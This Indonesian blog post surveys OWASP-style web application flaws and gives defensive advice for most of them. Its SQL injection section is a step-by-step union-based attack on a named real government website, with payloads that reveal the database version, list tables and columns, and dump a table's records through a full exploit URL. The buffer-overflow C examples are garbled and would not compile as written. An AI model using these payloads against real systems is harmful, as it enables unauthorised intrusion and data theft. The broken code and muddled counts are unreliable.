Blogger Widgets

About

Selamat Datang di Blog wswaa126a23.blogspot.com

Celah Keamanan Pada Aplikasi Web


Open Web  Application Security Project (OWASP) adalah project open source yang dibangun untuk menemukan penyebab dari tidak amannya sebuah software dan menemukan cara menanganinya ada 9 celah keamanan aplikasi web yang ditemukan dan rekomendasi mereka tentang menangani sebagai sebuah standard keamanan minimal dari aplikasi web.

Berikut ini adalah 10 celah tersebut dan cara agar kita dapat mengatasi masalah tersebut.
I         Unvalidated input
semua aplikasi web menampikan data dari HTTP request yang dibuat oleh user dan menggunakan data tersebut untuk melakukan operasinya. Hacker dapat memanipulasi bagian-bagian pada request (query string, cookle information, header) untuk membypass mekanisme keamanan.
berikut ini tiga jenis penyerangan yang berhubungan dengan masalah ini:
a.             Cross site scripting
b.             Buffer overflow
c.              Injection flaws
II         Broken Access Control
Banyak aplikasi yang mengkategorikan user-usernya ke dalam role yang berbeda dan level yang berbeda untuk berinteraksi dengan content yang dibedakan dari kategori-kategori tersebut, salah satu contohnya, banyak aplikasi yang terdapat user role dan admin role: hanya admin role yang dijinkan untuk mengakses halaman khusus atau melakukan action melakukan action administration.
Masalahnya adalah beberapa aplikasi tidak efektif untuk memaksa agar otomatis ini bekerja contohnya, beberapa program hanya menggunakan sebuah chekpoint dimana hanya user yang terpilih yang dapat mengakses: untuk proses lebih lanjut, user harus membuktikan dirinya menjalankan pengecekan dari chek point sebelumnya: dimana apabila user berhasil melewati halaman login, mereka dapat bebas menjalankan operasi.
Masalah lain yang berhubungan dengan access control adalah :
a.         Insecure Ids (Id Tidak aman) – beberapa site menggunakan id atau kunci yang menunjukan kepada user atau fungsi. ID dapat juga ditebak, dan jika hacker dapat mudah menebak ID dari user yang terautorisasi, maka site akan mudah diserang.
b.        File permissions- kebanyakan web dan aplikasi server percaya kepada external file yang menyimpan daftar dari user yang terotorisasi dan resources mana saja yang dapat dan/atau tidak dapat di akses. Apabila file ini dapat di baca dari luar, maka hacker dapat memodifikasi dengan mudah untuk menambahkan dirinya pada daftar user yang diijinkan.
Langkah –langkah apa saja yang dapat di lakukan untuk mengatasinya? Pada contoh-contoh tadi, kita dapat mengembangkan filter atau komponen yang dapat di jalankan pada sensitive resources, filter atau komponen tadi dapat menjamin hanya user yang terotorisasi dapat mengakses. Untuk melindungi dari inseure Ids yang dapat memberi acess control, pada masalah file permission, file-file tersebut harus berada pada lokasi yang tidak dapat di akses oleh web browser dan hanya role tertentu saja yang dapat mengaksesnya.
III      Broken Authentication dan session Management
Authentication dan session management menunjuk kepada semua aspek dari pengaturan user authentifikasi management of active session, ini beberapa hal yang perlu di perhatikan :
a.         Password strength-Aplikasi kita harus memberikan level minimal dari keamanan sebuah password dan mendaftar: aplikasi tidak mengijinkan password dengan panjang 3-4 atau kata-kata simple yang dapat mudah ditebak oleh hacker.
b.        Password use –Aplikasi kita harus membatasi user yang mengakses aplikasi melakukan login kembali ke sistem pada tenggang waktu tertentu. Dengan cara ini aplikasi dapat dilindungi dari serangan brute force dimana hacker bisa menyerang berulang kali untuk berhasil login ke sistem, selain itu, log in yang gagal sebaiknya dicatat sebagai informasi kepada administrator untuk mengindikasikan kemungkinan serangan yang terjadi.
c.         Password storage – password tidak boleh disimpan di dalam aplikasi. Password harus disimpan dalam format terenkripsi dan disimpan di file lain seperti database atau file password. Hal ini dapat meastikan bahwa informasi yang sensitif seperti password tidak disebarkan ke dalam aplikasi.
Issue lain yang berhubungan: password tidak boleh dalam bentuk hardcode didalam source code
Session ID Protection – server biasanya menggunakan session Id untuk mengidentifikasi user yang msauk kedalam session. Akan tetapi jika session ID ini dapat dilihat oleh seseorang pada jaringan yang sama, orang tersebut dapat menjadi seorang client.
Salah satu cara yang dapat digunakan untuk mencegah terlihat sessio ID oleh seseorang pada suatu jaringan yang sama adalah menghubungkan komunikasi antara server dan client pada sebuah SSL-protected channel.
IV   Cross Site Scripting
Cross Site Script atau kependekannya XSS merupakan salah satu serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukan kode HTML (HyperText Markup Language) atau client script code lainnya kesuatu situs. Serangan ini akan seolah-olah datang dari situs tersebut akibat serangan ini antara lain penyerang dapat mem-bypass keamanan disisi klkien, mendapat informsi sensitif, atau menyimpan aplikasi berbahaya.
Alasannya kependekan yang digunakan XSS bukan CSS karena CSS sudah digunakan untuk cascade syle sheet.
Cross site Scripting atau XSS memiliki Tipe XSS antara lain:
1.      Reflected XSS atau nonpersitent
Reflected XSS merupakan tipe XSS yang paling umum dan yang paling mudah dilakukan oleh penyerang. Penyerang menggunakan social engineering agar tautan dengan kode berbahaya  ini diklik oleh pengguna. Dengan cara ini penyerang bisa mendapatkan cookie pengguna yang bisa digunakan selanjutnya untuk membajak session  pengguna.
Mekanisme pertahanan menghadapi serangan ini adalah dengan melakukan validasi input sebelum menampilkan data apapun yang di-generate oleh pengguna. Jangan percaya apapun data yag dikirim oleh pengguna.
2.        Stored XSS
Stored XSS lebih jarang ditemui dan dampak serangannya lebih besar. Sebuah serangan stored XSS dapat berakibat pada seluruh pengguna. Stored XSS terjadi saat pengguna diizinkan untuk memasukan data yang akan ditampilkan kembali. Contohnya adalah pada message board, buku tamu, dll. Penyerang memasukkan kode HTML atau  client script code lainnnya pada posting mereka.
Serangan ini lebih menakutkan. Mekanisme pertahanannya sama dengan reflected XSS: jika pengguna diizinkan untuk memasukkan data, lakukan validasi sebelum disimpan pada aplikasi.
V         Buffer over Flow
Kelemahan Buffer overflow adalah salah satu dari banyak kelemahan dari keamanan komputer. Kelemahan jenis ini dapat digunakan pada remote acces atau local acces atau, karena ini dapat memberikan si Attacker kesempatan untuk melancarkan jurus-jurus dengan coding di komputer target.
Serangan Buffer overflow terjadi ketika si attacker emberikan input yang berlebihan pada program yang di jalankan, sehingga program mengalami kelebihan muatan dan memory tidak dapat mengalokasikannya. Ini memberikan kesempatan kepada Attacker untuk menindih data pada program dan men take over kontrol porgram yang dieksekusi attacker.
Buffer over flow hasil dari kelemahan bahasa pemograman c, c++, fontran, dan assembly, yang tidak secara otomatis melakukan pengecekan batas input ketika program dieksekusi. Sebagai akibat dari Buffer overflow dapat menyebatkan crash pada program, atau mempersilahkan si Attacker untuk mengesekusi perintah atau coding jahatnya untuk menguasai sistem target, seperti tujuan mengambil alih akun root menggunakan metode buffer overflow.
Di dalam artikel ini, kami mencoba sedikit memberikan penjelasan bagaimana buffer overflow itu bekerja, dan bagaimana cara mengatisipasinya. Buffer overflow biasa terjadi sebagai berikut :
1.      Program yang begitu kompleks, sehingga programmer sendiri tidak mengetahui kelemahan programnya.
2.        Relies on external data to control pada program.
Buffer adalah alokasi yang disediakan di memory seperti array atau pointer di c. Di bahasa C dan C++, tidak ada pembatasan otomasyisa pada buffernya, yang mana user dapat menulis input melewati buffer. Sebagai contoh:
Int main (){
Int buffer [10];
Buffer [20] =10;
}
Program bahasa C diatas adalah program yang valid, dan setiap compiler dapat mengkompil ini tanpa error. Tetapi, program ini dapat di jahili dengan menuliskan input melebihi batas buffer memory yang telah ditentukan, yang mana akan menghasilkan kesalahan pada program.
Sebuah proses adalah program dalam eksekusi. Program yang tereksekusi di dalam disk mengandung beberapa set intruksi binary yang dikerjakan oleh processor; beberapa read only data, seperti printf string format; global dan data statis yang output terakhir eksekusi program; dan sebuah brk pointer yang menjaga jalur dari malloced memory. Fungsi loval variabel adalah otomatis terbentuknya variabel dalam stack ketika fungsi di eksekusi 




Ilustrasi di atas memperlihatkan layout memory di linux. Sebuah proses dimulai dengan coding program-program dan data. Kode dan data berada dalam intruksi program dan inisialisasi dan unisialisasi statis dan global data secara berturut-turut. Setelah itu adalah run-time heap (Dibuat menggunakan malloc/calloc), dan di posisi atas adalah users stack. Stack ini digunakan ketika sebuah fungsi di panggil.
Bagian Stack
Stack adalah beberapa blok dari memory yang berisi data. Sebuah stack pointer (SP) menunjukan paling atas dalam stack. Ketika pemanggilan fungsi terbentuk, para meter fungsi masuk ke dalam stack dari kanan ke kiri. Kemudian alamat pengembalian nilai (alamat yang akan di eksekusi setelah pengembalian nilai fungsi yang ditunjuk oleh frame pointer (FP), masuk ke dalam stack. Frame pointer digunakan sebagai referensi variabel lokal dan parameter fungsi, karena itu semua adalah kesatuan dari FP, otomatisasi lokal variabel masuk ke dalam stack setelah FP. Dalam Implementasinya stack terpenuhi dari alamat memory yang besar ke yang kecil.

Ilustrasi di atas adalah bagian- bagian dari stack ketika sebuah fungsi dieksekusi. Perhatian FP berada di antar local dan return addresses. Sebuah contoh dalam bahasa C,
Void function (int a, int b, int c) {
Char buffer 1[5];
Char buffer2 [10];
}
Int main (){
Function (123)
}
Function stack seperti di bawah ini 

Seperti yang kita lihat, buffer 1 manggunakan 8 bytes dan buffer 12 byter, di memory dapat diaalamatkan hanya dalam beberapa bytes (4 byters), sebagai tambahan FP digunakan untuk megakses variabel a,b,c buffer 1 dan buffer 2. Semua variabel tersebut tiak mengambil space dalam disk copy eksekusi.
Buffer Overflow: Detailnya
Contoh lain dalam bahasa C
Void function (char*str){
Char buffer [16]
Strcpy (buffer, str);
}
Int main (){
Char*str=”I am greater than 16 bytes”;// Panjang dari str = 27 bytes function (str);
}
Program ini dijamin setelah di kompil, akan menghasilkan eror, karena string (str) sebesar 27 bytes terkopi ke dalam lokasi (buffer) yang hanya di alokasikan sebesar 16 bytes. Ekstra bytes melewati buffer dan menimpa ruang yang di alokasikan untuk FP, return address juga terkena. Hal ini, menyebabkan corupt dalam proses stack. Fungsi yang digunakan untuk kopi string adalah strcpy, yang tidak memeriksa batasan inputnya. Menggunakan strncpy, yang tidak memeriksa batasan inputnya. Menggunakan strncpy akan menghindari kejadian ini di dalam stack. Bagaimanapun, contoh klasik ini, menunjukkan bagaimana konsep buffer overflow dalam menimpa sebuah fungsi return address, dan dilanjutkan dengan menjalan beberapa malicious code.
Overwriting Function’s Return Addresses
Seperti yang kita tahu, sangat mudah untuk melakukan overwriting function’s return addresses, attacker menggunakan teknik buffer overflow untuk mendapatkan akses root. Attacker mencoba mengesekusi buffer buffer overflowwing area, menimpa nilai dari return address yang mengisi nilai ke buffer dan mengesekusi kode jahatnya. Sebagai kode yang bisa dimasukkan ke dalam program menggunakan environment variabel atau program input parameters. Sebagai contoh coding yang bisa mendapatkan shell akun root pada paper yang ditulis oleh aleph One untu Phrack Magazine di http://destory.net/machines/security/p49-14-aleph-one .
Tindakan Untuk Mencegah Buffer Overflow
Tidak satupum metode yang dijelaskan di bawah yang benar-benar bisa mencegah kemungkinan serangan, namanyajuga manusia tempatnya salah dan lupa. Tetapi metode dibawah ini, dapat meminimalisir dari kegiatan buffer overflow yang mengakibatkan kerusakan stack.
1.      Menulis kode yang aman : Buffer overflow adalah hasil dari input yang berlebihan ke dalam buffer. C library seperti strcpy (), stcat (), sprintf () dan vsprintf beroperasi pada null terminated strings dan tidak mengecek batasan input. Gets () juga fungsi lainnya yang memasukkan input ke dalam buffer dari stdin. Pada scanf () juga bisa mengakibat buffer overflows.
2.      Stack execute invalidation: karena koding jahat (contoh, instruksi assembly untuk mengambil alih root shell) merupakan input rgument ke dalam program, ini tersimpan ke dalam stack dan bukan dalam code segment. Oleh karena itu solusi mudahnya adalah tidak memperboleh adalah tidak memperbolehkan stack mengesekusi intruksi apapun. Kode apapun yang dieksekusi dengan kode lainnya di dalam stack dapat mengakibatkan segmentation violation.
3.      Compiler tools : Beberapa tahun terakhir, compiler mempunyai kemampuan lebih. Beberapa compiler di lengkapi peringatan dalam menggunakan kostruk yang tidak aman seperti gets (), strpy () dan sejenisnya sebagai contoh:
Int main (){
Char*str = (char*) malloc (10);// mengalokasikan 10 bytes untuk str
Gets (str);// membaca input dari stdin dan disimpan ke str
}
Setelah di compiler tool mempunyai fitur untuk bounds checking, jadi meng generate kode yang built-in tanpa mengubah struktur kode yang dapat menghindarkan penggunaan ilegal address tidak diperbolehkan untuk eksekusi. Gunakanlah patch GCC untuk mendapatkan fitur mendapatkan fitur bounds checking, dapat anda temui di http://web.inter.nl.net/hcc/Haj.Ten.Brugge patch ini juga mencegah tindakan penimpaan return adress, seperti yang banyak terjadi. Dan juga gunakan tools stackshield di
VI            Injection Flows
Injection flaws,yaitu salah satu teknik hacking yang memanfaatkan celah keamanan pada basis datanya. dan yang sering digunakan adalah SQL injection dengan memasukan perintah-perintah SQL pada website yang lemah dalam membuat struktur basis data, akan memudahkan bagi hacker untuk mendapatkan informasi pribadi, seperti strukur tabel basis data, kolom-kolom yang terdapat pada tabel basis data tersebut, hingga isi record basis data tersebut. sehingga hacker bisa mengetahui username atau id dan password admin pengelola website tersebut.
SQL injection termasuk salah satu cara menembus celah keamanan yang sudah lama diketahui, namum hingga saat ini masih banyak pemeintah Indonesia, salah satunya adalah website milik salah satu instansi pemerintah di bawah kementerian Riset dan Teknologi Republik Indonesia dengan alamat url : http://....go.id

Gambar 1. Halaman utama website
Bagaimana sebuah website bisa diketahui memiliki kelemahan untuk di lakukan sql dengan memasukan karakter- atau ` ke dalam halaman website yang memiliki karakter angka, misalnya : http://drn.go.id/index.php?option=com_frontpage&catid=13 ,sehinga didapat error page seperti gambar di bawah ini. Error SQL ini merupakan salah satu kelemahan dalam membangun struktur basis data dalam mendefinisikan type data.
 




Gambar 2.error page

Error SQL yang terlihat, dapat dimanfaatkan untuk mengetahui nama database dan table-table dalam databse tersebut yang digunakan sebagai basis data website ini.
Untuk  mengetahui nama databasenya adalah dengan menambahkan sintak ‘ and 1=2 by n`pada akhirnya alamat url, dimana n=12345,...,n dimasukan satu per satu nilai n tersebut, sehingga error page berubah menjadi ‘unknown coloum’
 




Gambar 3. error unkown coloum
Pada website ini error ‘unkown column’ yang ditemukan adalah mengetahui versi mysql dan username administrator database, yaitu dengan memasukkan sintak `and 1=2 union select version(), 2-`sehingga diketahui versi mysqlnya adalah versi 5.

 
Gambar 4. diketahui versi mysql
Dan selanjutnya untuk mengetahui nama username dan databse pada website ini adalah dengan mengganti sintak version (), menjadi databsse dan user (), contohnya adalah alamat url berikut ini:





Gambar 5. diketahui nama database
Dan setelah nama databasenya, akan mudah untuk mengetahui nama tabel-tabel pada database tersebut, adalah dengan memasukkan sintak `and 1=2 union select group_concat (table_name) from information_schema.tables where table_schema=database ()- `pad akhir alamat url, menjadi :
maka akan diketahui nama-nama tabel pada database tersebut seperti pada gambar dibawah ini
 


Gambar 6. nama table-table pada database
Terlihat nama table-table pada database ini adalah agenda batas_orangjam, buku_alamat, dimanam direktori, direktori_url, disposisi_surat, fasilitas, file,tb, forum, grup, grup_pengguna, hasil_jajak,_pendapat, ing_core_acl_aro, ing_core_acl_aro_groups, ing_core_acl_aro_sections, ing_core_acl_group_aro_map,ing_core_log_items,ing_core_log_sear
Setelah mengetahui struktur tabel pada database ini, akan mudah untuk mengetahui nama kolom-kolom pada tabel-tabel tersebut adalah dengan memasukkan sintak : `and 1=2 union select group_concat (table_name) from information_schema.tables where table_name=mysqlchar(table_name)-, bagaimana mendapatkan nilai mysqchar adalah dengan mengkonversi nama tabel menjadi bantuan sql pada localhost kita, nama tabel agenda dikonversi menjadi char (97,103,101,110,100,97).
Dan didapat nama kolom pada tabel agenda seperti pada gambar
 

Gambar 7. nama kolom pada tabel agenda
maka diketahui, nama kolom pada tabel agenda adalah kode_agenda pemilik, judul, tipe, tgl_mulai, waktu_mulai, waktu_selesai, kode_pengulangan, kode_undangan, deskripsi, tgl_dibuat, tgl_diubah, sharing_publik, sifat_sharing, undang_via_email, undang_via_sms.
Terakhir untuk mengetahui isi dari kolom-kolom tersebut adalah dengan memasukkan sintak `and 1=2 union select group_concat(nama_kolom0x3a,nama_kolom lainnya) from nama_table-
Sehingga url menjadi :
http://www.drn.go.id/index.php?option=isi&task=view&id=-281+and+1=2+union+select+group_concat(kode_agenda,0x3a,pemilik,0x3a,judul,0x3a,tipe,0x3a,tgl_mulai,0x3a,waktu_mulai,0x3a,waktu_selesai,0x3a,kode_pengulangan,0x3a,kode_undangan,0x3a,deskripsi,0x3a,tgl_dibuat,0x3a,tgl_diubah,0x3a,sharing_publik,0x3a,sifat_sharing,0x3a,undang_via_email,0x3a,undang_via_sms),2+from+agenda--&Itemid=2

Gambar 8. isi kolom pada tabel agenda
 




 

Maka selanjutnya sql injection inid apat dimanfaatkan oleh orang yang tidak bertanggung jawab untuk mengetahui nama username dan administrasi untuk login sebagai administrator website ini.
VII Insecure storage
Aplikasi web biasanya perlu menyimpan informasi yang sensitif seperti password, informasi kartu kredit, dan yang lain. Dikarenakan item-item tersebut bersifat sensitif item-item tersebut perlu dienkripsi untuk menghindari pengaksesan secara langsung. Akan tetapi beberapa metode enkrips lemah dan masih bisa diserang.
Berikut ini beberapa kesalahan yang sering terjadi :
  • Kesalahan untuk mengenkripsi data penting. 
  •  Tidak amannya kunci, certificate, dan password
  •  Kurang amannya tempat penyimpanan data
  •  Kurangnya perhitungan dari rekomendasi
  •   Kesalahan pemilihan algoritma
  •   Mencoba untuk menciptakan algoritma enkripsi yang baru.
Berdasarkan skenario berikut ini : Terdapat sebuah aplikasi, dimana terdapat password pada user object. Akan tetapi, aplikasi menyimpan user objek ke dalam session setelah user login. Permasalahan yang akan muncul pada skenario ini adalah password dapat dilihat oleh seseorang yang dapat melihat session user tersebut.
Salah satu cara yang dilakukan untuk menghindari kesalahan penyimpanan informasi yang sensitif adalah : tidak membuat password sebagai atribut dari kelas yang mewakili informasi user; Daripada mengenkripsi nomor kartu kredit dari user, akan lebih baik untuk menanyakannya setiap kali dibutuhkan.
Selain itu, menggunakan algoritma enkripsi yang sudah ada akan lebih baik daripada membuat algoritma sendiri. Anda cukup memastikan algoritma yang akan digunakan telah diakui oleh public dan benar-benar dapat dilaksanakan. 
VIII           Deniel of Service
Deniel of Service merupakan serangan yang dibuat oleh hacker yang mengirimkan request dalam jumlah yang sangat besar dan dalam waktu yang bersamaan. Dikarenakan request-request tersebut, server menjadi kelebihan beban dan tidak bisa melayani user lainnya.
Serangan DoS mampu menghabiskan bandwidth yang ada pada server. Selain itu dapat juga menghabiskan memory, koneksi database, dan sumber yang lain.
Pada umumnya sangat sulit umtuk melindungi apliksi dari serangan ini. Akan tetapi masih ada cara yang dapat dilakukan seperti membatasi resource yang dapat di akses user dalam jumlah yang minimal. Merupakan ide/cara yang bagus untuk membuat load quota yang membatasi jumlah load data yang akan diakses user dari sistem.
Salah satu contoh adalah pada implementasi bulletin board : adanya pembatasan user pada ssaat melakukan search, dimana operasi ini hanya dapat dilakukan setiap 20 detik. Dengan cara ini dapat dipastikan bahwa user tiadk bisa menghasbiakan koneksi dari database.
Solusi yang lain adalah mendesain aplikasi web dimana user yang belum terotorisasi hanya memiliki akses yang sedikit atau tidak memilki akses ke content web yang berhunbungan dengan databse.
IX    Insecure Configuration Management
Biasanya kelompok (group) yang mengembangkan aplikasi berbeda dengan kelompok yang mengatur hosting dari aplikasi. Hal ini bisa menjadi berbahaya, dikarenakan keamanan yang diandalkan hanya dari segi aplikasi : sedangkan dari segi server juga memiliki aspek keamanan yang perlu diperhatian, Adanya kesalahan dari konfigurasi server dapat melewati aspek keamanan dari segi aplikasi.
Berikut ini adalah kesalahan konfigurasi server yang bisa menimbulkan masalah :  

  • File-file backup atau file contoh (sample dile), file-file script, file konfigurasi yang tertinggal/tidak perlu.
  •   Hak akses atau file yang salah.
  •   Adanya service yang seperti remote administration dan content management yang masih aktif.
  •   Penggunaan default account dan default password.
  •   Fungsi administrative atau fungsi debug yang bisa diakses.
  •   Adanya pesan error yang informatif dari segi teknis.
  •   Kesalahan konfigurasi SSL certificate dan setting enkripsi.
  •   Penggunaan self-signet certificates untuk melakukan autentikasi.
  •   Penggunaan default certificate.
  •  kesalahan autentifikasi dengan sistem eksternal.

2 komentar: